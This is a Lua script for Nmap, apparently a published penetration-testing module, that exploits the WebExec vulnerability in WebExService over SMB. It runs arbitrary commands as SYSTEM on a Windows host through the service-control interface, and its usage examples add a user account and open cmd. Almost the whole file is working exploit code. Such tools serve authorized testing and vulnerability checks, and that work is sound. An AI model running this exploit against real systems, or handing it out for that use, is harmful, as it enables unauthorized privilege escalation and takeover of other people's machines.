local msrpc = require "msrpc" local smb = require "smb" local stdnse = require "stdnse" local string = require "string" local shortport = require "shortport" -- compat stuff for Nmap 7.70 and earlier local have_stringaux, stringaux = pcall(require, "stringaux") local strsplit = (have_stringaux and stringaux or stdnse).strsplit description = [[ Attempts to run a command via WebExService, using the WebExec vulnerability. Given a Windows account (local or domain), this will start an arbitrary executable with SYSTEM privileges over the SMB protocol. The argument webexec_command will run the command directly. It may or may not start with a GUI. webexec_gui_command will always start with a GUI, and is useful for running commands such as "cmd.exe" as SYSTEM if you have access. References: * https://www.webexec.org * https://blog.skullsecurity.org/2018/technical-rundown-of-webexec ]] --- -- @usage -- nmap --script smb-vuln-webexec --script-args 'smbusername=,smbpass=,webexec_command=net user test test /add' -p139,445 -- nmap --script smb-vuln-webexec --script-args 'smbusername=,smbpass=,webexec_gui_command=cmd' -p139,445 -- -- @args webexec_command The command to run on the target -- @args webexec_gui_command The command to run on the target with a GUI -- -- @output -- | smb-vuln-webexec: -- |_ Vulnerable: WebExService could be accessed remotely as the given user! -- -- | smb-vuln-webexec: -- | Vulnerable: WebExService could be accessed remotely as the given user! -- |_ ...and successfully started console command: net user test test /add -- -- @see smb-vuln-webexec.nse author = "Ron Bowes" license = "Same as Nmap--See https://nmap.org/book/man-legal.html" categories = {"intrusive","exploit"} portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open") local run_command = function(smbstate, service_handle, command) stdnse.debug1("Attempting to run: " .. command) return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command)) end action = function(host, port) local webexec_command = stdnse.get_script_args("webexec_command") local webexec_gui_command = stdnse.get_script_args("webexec_gui_command") if not webexec_command and not webexec_gui_command then return stdnse.format_output(false, "Error: webexec_command or webexec_gui_command is required to run this cript") end local open_result local close_result local bind_result local result local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH) if not status then return stdnse.format_output(false, smbstate) end status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil) if not status then smb.stop(smbstate) return stdnse.format_output(false, bind_result) end local result, username, domain = smb.get_account(host) if result then if domain and domain ~= "" then username = domain .. "\\" .. stdnse.string_or_blank(username, '') end end -- Open the service manager stdnse.debug1("Trying to open the remote service manager") status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001) if not status then smb.stop(smbstate) return stdnse.format_output(false, open_result) end local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010) if open_status == false then status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle']) smb.stop(smbstate) if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then return stdnse.format_output(false, "Error: WebExService is not installed") elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then return stdnse.format_output(false, "Error: WebExService could not be accessed by " .. username) end return stdnse.format_output(false, "Error: WebExService failed to open with an unknown status: " .. open_service_result) end stdnse.debug1("Successfully opened a handle to WebExService") local output = nil if webexec_command then status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command) if not status then output = "Failed to start the service: " .. result else output = "Asked WebExService to run " .. webexec_command end end if webexec_gui_command then -- If they run both, give the first one a second to finish if webexec_command then stdnse.sleep(1) end status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command) if not status then output = "Failed to start the service: " .. result else output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)" end end status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle']) smb.stop(smbstate) return true, output end